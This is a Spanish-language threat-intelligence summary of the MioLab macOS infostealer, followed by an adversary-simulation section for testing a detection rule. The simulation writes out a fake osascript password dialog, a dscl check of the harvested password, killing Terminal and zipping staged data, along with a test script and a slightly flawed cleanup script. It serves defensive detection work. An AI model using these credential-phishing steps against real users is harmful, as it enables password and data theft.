Dime Mi Nombre: Cómo MioLab está construyendo un Imperio de Stealers en MacOS

Resumen

MioLab es un infostealer distribuido comercialmente para macOS dirigido a víctimas de alto valor como ingenieros de software, ejecutivos e inversores en criptomonedas. Se propaga a través de malvertising y una cadena de infección ClickFix, luego lanza un binario compacto basado en C que roba credenciales de navegador, registros de gestores de contraseñas, archivos de billeteras de criptomonedas y datos de Keychain de macOS. La información robada se coloca en un directorio temporal, se comprime en un archivo y se exfiltra con una solicitud curl POST a un dominio malicioso. La operación también incluye un panel de control basado en web, soporte de proxy y acceso a API adaptado para grandes grupos de cibercrimen.

Investigación

El informe detalla las características estáticas del malware, su comportamiento en tiempo de ejecución y la amplia gama de fuentes de datos objetivo, incluyendo Chrome, Firefox, Safari, Telegram, Discord, Apple Notes y aplicaciones de billeteras hardware. El análisis de infraestructura apunta a un hosting a prueba de balas en Rusia, rotación repetida de dominios y un backend compartido vinculado a una operación de phishing de airdrop de token Web3. Los investigadores también extrajeron indicadores clave como líneas de comando, rutas de carpetas temporales y URL de exfiltración.

Mitigación

Los defensores deben entrenar a los usuarios para reconocer mensajes falsos de credenciales, monitorear el abuso de binarios incorporados como dscl, osascript y curl, bloquear dominios maliciosos conocidos, aplicar firma de código, y restringir el acceso a los datos de perfiles de navegador y archivos de Keychain. La lógica de detección también debe centrarse en los patrones de ejecución de procesos del malware y en el comportamiento de almacenamiento previo a la compresión bajo /var/folders.

Respuesta

Si se detecta MioLab, aislar el Mac afectado, capturar artefactos de memoria volátil y sistema de archivos, bloquear los dominios e IPs del C2 relacionado, revocar credenciales expuestas y claves de billeteras de criptomonedas, y realizar una revisión forense completa de todas las ubicaciones de datos objetivo. El contenido de detección en el endpoint debe actualizarse con las líneas de comando observadas, y los equipos deben buscar cadenas de infección similares en todo el entorno.

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber sido aprobado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa y Comandos de Ataque:

  1. Terminar la sesión de Terminal del usuario – El malware primero desactiva el indicador de comando estándar para forzar al usuario a un flujo de UI controlado.

     killall Terminal

  2. Presentar una solicitud de credencial falsa – Usando osascript, el atacante muestra un diálogo de AppleScript que imita una advertencia de configuración del sistema, incitando al usuario a ingresar su contraseña.

     osascript -e 'display dialog "Necesitas configurar las configuraciones del sistema antes de ejecutar esta aplicación." default answer "" with hidden answer'

  3. Validar credenciales capturadas – La contraseña capturada se verifica contra el servicio de directorio local con dscl . -authonly. Un retorno exitoso confirma que la credencial es correcta.

     dscl . -authonly "$USER" "$HARVESTED_PASSWORD"

  4. Preparar y comprimir la carga de exfiltración – El atacante archiva los datos recolectados (e.g., ~/.ssh/id_rsa) en un archivo zip usando ditto, preparándolo para la carga.

     ditto -c -k --sequesterRsrc /var/folders/*/DataStaging /tmp/exfil.zip

• Guion de Prueba de Regresión: (Bash – ejecuta la secuencia exacta para activar la regla)

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Iniciando simulación de MioLab..."
  
  # 1. Matar Terminal
  echo "[+] Terminando Terminal"
  killall Terminal
  
  # 2. Solicitud de AppleScript falsa (simulado – sin interacción del usuario)
  echo "[+] Mostrando solicitud de credencial falsa"
  osascript -e 'display dialog "Necesitas configurar las configuraciones del sistema antes de ejecutar esta aplicación." default answer "" with hidden answer' >/dev/null 2>&1
  
  # 3. Verificación de credenciales (usando usuario actual y una contraseña de ejemplo)
  echo "[+] Verificando credenciales capturadas"
  HARVESTED_PASSWORD="P@ssw0rd!"   # En un escenario real esto sería la contraseña robada
  dscl . -authonly "$USER" "$HARVESTED_PASSWORD" || true   # ignorar fallo para la demostración
  
  # 4. Organización y compresión de datos
  echo "[+] Comprimiendo datos organizados"
  STAGING_DIR=$(mktemp -d)
  echo "dato de ejemplo" > "$STAGING_DIR/sample.txt"
  ditto -c -k --sequesterRsrc "$STAGING_DIR" /tmp/exfil.zip
  
  echo "[*] Simulación completa. Verificar alerta en SIEM."

• Comandos de Limpieza: (Elimina los artefactos generados y restaura la sesión)

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Limpiando artefactos de simulación de MioLab..."
  
  # Eliminar el archivo zip falso
  rm -f /tmp/exfil.zip
  
  # Eliminar directorio temporal de staging si existe
  [[ -d "$STAGING_DIR" ]] && rm -rf "$STAGING_DIR"
  
  # Opcionalmente reiniciar Terminal para el usuario
  open -a Terminal
  
  echo "[*] Limpieza terminada."